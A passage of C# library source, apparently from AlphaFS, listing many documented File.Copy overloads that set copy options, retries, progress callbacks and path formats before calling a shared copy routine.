cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n      #endregion // Obsolete\n\n      \n      #region .NET\n\n      /// <summary>Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory or an existing file.</param>\n      [SecurityCritical]\n      public static void Copy(string sourcePath, string destinationPath)\n      {\n         CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>Copies an existing file to a new file. Overwriting a file of the same name is allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      [SecurityCritical]\n      public static void Copy(string sourcePath, string destinationPath, bool overwrite)\n      {\n         CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n      /// <summary>\n      /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is\n      /// allowed.\n      /// </summary>\n      /// <remarks>\n      /// <para>The attributes of the original file are retained in the copied file.</para>\n      /// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this\n      /// method.</para>\n      /// <para>If two files have equivalent short file names then this method may fail and raise an\n      /// exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\">.</exception>\n      /// <exception cref=\"ArgumentNullException\">.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">.</exception>\n      /// <exception cref=\"FileNotFoundException\">.</exception>\n      /// <exception cref=\"IOException\">.</exception>\n      /// <exception cref=\"NotSupportedException\">.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">.</exception>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and\n      /// hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      /// Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.\n      /// </returns>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory or an existing file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n      \n\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = copyOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = copyOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the 